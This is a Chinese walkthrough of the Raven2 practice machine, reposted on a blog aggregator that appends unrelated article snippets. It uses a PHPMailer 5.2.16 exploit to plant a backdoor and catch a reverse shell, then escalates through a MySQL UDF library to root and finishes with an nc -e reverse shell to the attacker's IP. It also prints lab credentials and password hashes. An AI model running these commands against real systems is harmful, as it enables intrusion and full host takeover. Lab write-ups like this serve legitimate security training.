【Raven2靶场渗透】

news2024/12/23 15:14:21

文章目录

一、IP获取

二、信息收集

三、Flag1

四、漏洞利用

五、Flag2

六、Flag3

七、MSF UDF提权

八、CVE漏洞本地提权


一、IP获取

Kali IP:192.168.78.128

靶机IP:192.168.78.178

二、信息收集

端口和服务探测:

nmap  -sV -p-  192.168.78.178

开放了四个端口22 80 111 44469

目录与文件探测:

dirsearch -u http://192.168.78.178

探测到了一些文件与目录,尝试访问一下

http://192.168.78.178/vendor/

三、Flag1

在/vendor目录下找到了一个flag

http://192.168.78.178/vendor/PATH

发现一个登录页面

http://192.168.78.178/wordpress/wp-login.php

读/vendor/目录下的readme文件可以看到有效信息:PHPMailer,继续查看version文件可以看到版本5.2.16

总结得到 PHPMailer 5.2.16, 我们直接去搜索对应的exp

四、漏洞利用

searchsploit 40974

locate php/webapps/40974.py 

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.78.178/contact.php
42行:后门名称:/hp.php
44行:改下回弹的IP和端口  192.168.78.128  6666
47行:改下写入shell的目录:/var/www/html/hp.php

执行exp

python3 40974.py

访问http://192.168.78.178/contact.php,此时就会生成后门文件hp.php
本地开启监听:nc -vlnp 6666
访问:http://192.168.78.178/hp.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'

找寻flag

find / -name flag* 2>/dev/null

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

五、Flag2

发现两个flag!读取:

cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

六、Flag3

访问:

http://192.168.78.178/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3!

在flag3目录下看到了wordpress目录,进入目录可查看配置文件wp-config.php

获取到了数据库信息
User:root
Password:R@v3nSecurity
ps aux | grep root --查看数据库进程信息
dpkg -l | grep mysql --查看历史安装包版本

历史版本5.5.6,并且是root权限启动的,此时可以考虑是否能用mysql udf提权方法

连接数据库
mysql -uroot -pR@v3nSecurity
select version();  ---查看版本
show databases;
use wordpress   --进入wordpress数据库
show tables;
select * from wp_users;  --查看用户信息
看到两个用户和加密的密码
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看是否有写入权限

show global variables like 'secure%';

七、MSF UDF提权

注:mysql udf提权说明
MSF UDF提权的前提条件:
1、获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录
2、Mysql具有写入权限:secure_file_prive的值为空

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';

我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/

另外一个条件是要能远程登陆,我们用这个命令来看一下是否可以

use mysql; 
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

八、CVE漏洞本地提权

searchsploit udf

locate linux/local/1518.c 
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
编译
gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o hp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本机开启htt服务,靶机下载编译后的文件
python3 -m http.server 8000
wget http://192.168.78.128:8000/hp.so

进入mysql数据库创建数据表并插入数据

mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表dayu:create table hp(line blob);
插入数据文件:insert into hp values(load_file('/tmp/hp.so'));

hp表成功插入二进制数据,然后利用dumpfile函数把文件导出

outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from hp into dumpfile '/usr/lib/mysql/plugin/hp.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'hp.so';

查看以下创建的函数:

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

即创造提权条件,suid位提权,执行find命令,使用find执行 shell
 

find dayu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}

或者也可以直接利用函数反弹shell

select do_system('nc -nv 192.168.78.128 6667 -e /bin/bash');

完成!


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983347.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

启发式合并加树形dp

题目链接 令f【x】【0】表示不选根的x子树的最大贡献,f【x】【1】表示选根的x子树最大贡献,g【x】为max(f【x】【0】,f【x】【1】)。 如果我们要连接x和u1,那么贡献是: w【x】w【u1】f【u1】【0…

ASP.NET Core 基础 - 入门实例

一. 下载 1. 下载vs2022 Visual Studio 2022 IDE - 适用于软件开发人员的编程工具 (microsoft.com) 学生,个人开发者选择社区版就行,免费的. 安装程序一直下一步下一步就行,别忘了选择安装位置,如果都放在C盘的话,就太大了. 2. 选择工作负荷 准备工作完成 二. 创建新项目 三…

如何用密码保护你的 WordPress 管理员 (wp-admin) 目录

在维护 WordPress 网站时,确保 wp-admin 目录安全是非常重要的。为该目录添加密码保护可以有效提高网站安全性,防止未经授权的访问。这篇文章将介绍实现这一目标的两种方法。 1.为什么要为 wp-admin 目录添加密码保护 WordPress 管理员后台是网站的核心…

自动化集成应用钡铼DB系列防水分线盒

随着工业自动化的快速发展,如今的现场设备需要更高效、更稳定的信号采集和集成方案。钡铼技术的DB系列防水分线盒作为一种优秀的解决方案,成功地结合了先进的工业设计与耐用材料,为物流设备、食品加工设备、制药设备等多种工业应用提供了可靠…

《深入浅出WPF》学习笔记六.手动实现Mvvm

《深入浅出WPF》学习笔记六.手动实现Mvvm demo的层级结构,Mvvm常用项目结构 依赖属性基类实现 具体底层原理后续学习中再探讨,可以粗浅理解为,有一个全局对象使用list或者dic监听所有依赖属性,当一个依赖属性变化引发通知时,就会遍历查询对应的字典,通知View层进行…

目标检测之选择性搜索:Selective Search

文章目录 一.选择性搜索的具体算法二.保持多样性的策略三.给区域打分四.选择性搜索性能评估五.代码实现 论文地址: https://www.koen.me/research/selectivesearch/ 代码地址: https://github.com/AlpacaDB/selectivesearch 参考: https:/…

SpringBootWeb AOP

事务&AOP 1. 事务管理 1.1 事务回顾 在数据库阶段我们已学习过事务了,我们讲到: 事务是一组操作的集合,它是一个不可分割的工作单位。事务会把所有的操作作为一个整体,一起向数据库提交或者是撤销操作请求。所以这组操作要…

kickstart自动安装脚本,pxe网络安装

目录 1 kickstart图形化生成脚本工具 1.1 安装apache 1.2 创建挂载镜像软链接 1.3 图形生成自动化脚本选项 1.4 修改生成的自动化脚本 1.5 将脚本放至网站根目录 2 安装系统 2.1 关闭DHCP自动分配 2.2 下载配置DHCP服务 2.3 重启DHCP服务 2.4 使用pxe方法安装系统(网…

YOLOv5与YOLOv8 训练准备工作(不包含环境搭建)

前言:我发现除了安装环境需要耗费大量时间以外,对于训练前的准备工作也要琢磨一段时间,所以本篇主要讲一下训练前需要准备的工作(主要是XML格式换为txt,以及划分数据集验证集,和训练参数的设置)…

8–9月,​Sui Move智能合约工作坊将在台北+线上举行

你对区块链和去中心化应用感兴趣吗?想深入学习Sui Move编程语言吗? 从8月10日到9月28日,Sui Mover社区将在每周六下午13:00–17:00举办精彩的工作坊,为期两个月,带你从零基础入门到高级进阶,全面掌握Sui M…

Django配置模板引擎

【图书介绍】《Django 5企业级Web应用开发实战(视频教学版)》_django 5企业级web应用开发实战(视频教学版)-CSDN博客 《Django 5企业级Web应用开发实战(视频教学版)》(王金柱)【摘要 书评 试读】- 京东图书 (jd.com) 本节主要介…

Linux之进程间通信(上)

目录 进程间通信的目的 进程通信的分类 进程通信之匿名管道 创建匿名管道 匿名管道的特点 匿名管道四种通信类型 在现实生活中,人们要进行合作,就必须进行交流,那么在进程之间,会存在交流的情景吗?答案是肯定的…

音频转换器在线哪个好?提升音频质量的转换工具

你是否曾梦想过将手机里的铃声变成自己的原创作品?或者,有没有想过将一段演讲录音转化为易于分享的MP3格式? 如果答案是肯定的,那么这款音频转换器mp3就是你寻找的答案。现在,让我们一起探索它的魅力吧! 一…

基于MATLAB机器学习、深度学习实践技术

近年来,MATLAB在机器学习和深度学习领域的发展取得了显著成就。其强大的计算能力和灵活的编程环境使其成为科研人员和工程师的首选工具。在无人驾驶汽车、医学影像智能诊疗、ImageNet竞赛等热门领域,MATLAB提供了丰富的算法库和工具箱,极大地…

浏览器用户文件夹详解 - Preferences(十)

1.Preferences简介 1.1 什么是Preferences文件? Preferences文件是Chromium浏览器中用于存储用户个性化设置和配置的一个重要文件。每当用户在浏览器中更改设置或安装扩展程序时,这些信息都会被记录在Preferences文件中。通过这些记录,浏览…

海思ISP记录七:低照度图像调整

Hi3519av100imx585 记录下低照度图像调整的流程和思路 一、环境与配置 环境:暗房不开灯,只有零散漏光和电脑光亮gain与帧率:根据手册我设置的是Again:31282;Dgain:8192;ISP Dgain:…

B1.1 关于应用程序员模型-概述

快速链接: . 👉👉👉 ARMv8/ARMv9架构入门到精通-[目录] 👈👈👈 付费专栏-付费课程 【购买须知】个人博客笔记导读目录(全部) B1.1 关于应用程序员模型–概述 本章节包含了应用程序开发所需的程序员模型信息。 本章节中的信息不同于支持和服务于操作系统下应用程…

1.MySQL面试题之innodb如何解决幻读

1. 写在前面 在数据库系统中,幻读(Phantom Read)是指在一个事务中,两次读取同一范围的数据集时,由于其他事务的插入操作,导致第二次读取结果集发生变化的问题。InnoDB 作为 MySQL 的一个存储引擎&#xff…

PyTorch深度学习实战(2)——PyTorch快速入门

PyTorch的简洁设计使得它易于入门,在深入介绍PyTorch之前,本文先介绍一些PyTorch的基础知识,以便读者能够对PyTorch有一个大致的了解,并能够用PyTorch搭建一个简单的神经网络。 1 Tensor Tensor是PyTorch中最重要的数据结构&#…

docker、k8s部署 mysql group replication 和 ProxySQL 读写分离

MySQL Group Replication(简称MGR)是MySQL官方推出的一个高可用与高扩展的解决方案。MySQL组复制它提供了高可用、高扩展、高可靠的MySQL集群服务,这里部署的 mysql 版本 5.7.33,架构是一读一写。特别要注意一个关键点: 必须保证各…